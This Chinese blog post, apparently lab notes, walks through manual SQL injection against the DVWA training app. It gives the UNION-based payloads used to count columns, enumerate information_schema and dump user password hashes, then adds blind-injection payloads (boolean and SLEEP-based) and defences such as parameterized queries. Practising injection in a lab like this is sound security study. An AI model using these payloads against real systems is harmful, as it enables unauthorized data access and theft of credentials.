dvwa之sql injection(low)手工注入笔记

本文介绍如何利用SQL注入漏洞,通过不同方法确定字段数量,并展示如何使用union select获取数据库信息,包括数据库名、用户名、表名及列名等内容。

首先使用1,2,3,4,5都会返回用户列表

然后再使用1'进行判断,发现报错,既知道存在注入漏洞

使用语句 1' and '1' ='1 的时候会出现正常:


当输入1‘ or '1'='1是,这个式子是个永真式,返回所有结果:

分析字段数(两种方法)


 

方法一:用order by语句。(默认是进行升序的)

分析字段数的原因是我们之后需要用unionselect语句来获得我们需要的敏感数据。根据orderby知识知道,要是后面跟着的数字超出了字段数时,就会报错!通过这个我们可以确定字段数。我们构造的payload如下:

1' order by 1#


1' order by 2#


1' order by 3#


此时 当输入到3的时候,发现它报错了,也就是说字段数为2。

 

方法二:直接用unionselect来猜测字段数。

因为当字段数不对应的时候,它也是会发生报错的!我们构造以下查询语句:

1' union select 1#

1' union select 1,2#

1' union select 1,2,3#


 可以发现,当union select1,2,3的时候报错,union select1,2的时候没有报错,也就是说字段数为2。同时,我们也注意到,好像返回的内容中多了三条数据,这是啥呢?其实这就是我们unionselect出来的数据。这样通过查看页面,我们便可以获得数据库里面的信息了!

获取信息

字段数为2,说明数据列有两列。我们可以通过unionselect语句查出两个数据。好了,我们来获取所需要的数据库里面的信息吧!

 获取当前数据库名,当前用户名

构造数据库查询语句如下所示:

1' union select database(),user()#


解释一下,database()将会返回当前网站所使用的数据库名字,user()将会返回进行当前查询的用户名。

好的,我们可以看到当前使用的数据库为:dvwa,当前的用户名:root@localhost

  

当mysql的版本大于5.0时,有个默认的数据库information_schema,里面存放着所有数据库的信息,比如数据库名、表名、列名等

1' and 1=2 union select 1, schema_name from information_schema.schemata; -- 
1' and 1=2 union select 1, schema_name from information_schema.schemata; --  (--后面有一个空格)


由此知道数据库中有6个数据库


然后使用下面的语句进行爆表

1' and 1=2 union select table_schema,table_name from information_schema.tables; -- (注意此处有空格)


现在我们知道了dvwa数据库中有两个表,分别是guestbook和users,下面我们构造SQL语句得到users表中的所有属性列

爆出列值

1' and 1=2 union select table_name, column_name from information_schema.columns; -- (--后面有一个空格)


上面的语句返回了各个表中的所有属性列,users表的结果如下:

现在我们知道了users表中的所有属性列名称了,我们可以查询自己感兴趣的东西,比如说用户的user_id和password

(4)爆密码

1' and 1=2 union select user_id,password from dvwa.uesr ; -- (注意空格)

1' and 1=2 union select user_id,password from dvwa.users; -- 

上面的语句返回了用户ID和其对应的密码,结果如下:


然后就是使用md5进行解密了


以上部分内容参照互联网部分数据




### SQL Injection (Blind) 简介 SQL Injection (Blind)即 SQL 盲注,是一种特殊的 SQL 注入攻击方式。在这种攻击中,攻击者无法直接从应用程序的响应中获取 SQL 查询的结果,而是通过构造特殊的 SQL 语句,根据应用程序返回的不同响应(如页面响应时间、页面显示内容的变化等)来推断数据库中的信息。 ### 攻击方法 #### 基于布尔的盲注 攻击者通过构造 SQL 语句,使数据库根据条件返回不同的结果,通过判断应用程序的响应来确定条件是否成立,逐步获取数据库信息。例如,在登录框输入用户名 `' AND 1=1 --` 和 `' AND 1=2 --`,如果前者登录成功而后者失败,说明存在 SQL 盲注漏洞,且数据库能够正确处理 `1=1` 这个条件。 #### 基于时间的盲注 当应用程序对所有 SQL 查询的响应都是相同的,无法通过布尔判断时,攻击者可以利用数据库的延时函数,通过判断应用程序的响应时间来推断信息。例如,构造 SQL 语句 `' AND SLEEP(5) --`,如果应用程序响应时间明显增加了 5 秒,就说明存在 SQL 盲注漏洞。 ### 防护措施 #### 输入验证 对用户输入的数据进行严格的验证和过滤,只允许合法的字符和格式。例如,对于数字类型的输入,只允许输入数字字符;对于字符串类型的输入,去除特殊字符和 SQL 关键字。 ```python import re def validate_input(input_data): # 只允许字母和数字 pattern = re.compile(r'^[a-zA-Z0-9]+$') if pattern.match(input_data): return True return False ``` #### 使用参数化查询 使用数据库提供的参数化查询功能,将用户输入的数据作为参数传递给 SQL 语句,而不是直接拼接在 SQL 语句中。这样可以防止 SQL 注入攻击,因为数据库会自动处理参数的转义。例如,在 Python 中使用 `sqlite3` 进行参数化查询: ```python import sqlite3 conn = sqlite3.connect('example.db') cursor = conn.cursor() username = "test' OR '1'='1" password = "password" # 使用参数化查询 cursor.execute("SELECT * FROM users WHERE username =? AND password =?", (username, password)) result = cursor.fetchone() ``` #### 最小化数据库权限 为应用程序分配最小的数据库权限,只允许其执行必要的操作。例如,如果应用程序只需要查询数据,就不授予其插入、更新和删除数据的权限。 ### 案例 假设存在一个简单的用户信息查询页面,用户可以通过输入用户 ID 来查询用户信息。页面的 SQL 查询语句如下: ```sql SELECT * FROM users WHERE id = '$id'; ``` 攻击者可以构造如下的 SQL 盲注语句来获取数据库信息: - 基于布尔的盲注:输入 `1' AND (SELECT COUNT(*) FROM users) > 10 --`,如果页面显示正常,说明用户表中的记录数大于 10;如果页面报错或显示异常,说明记录数小于等于 10。 - 基于时间的盲注:输入 `1' AND SLEEP(5) --`,如果页面响应时间明显增加了 5 秒,说明存在 SQL 盲注漏洞。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值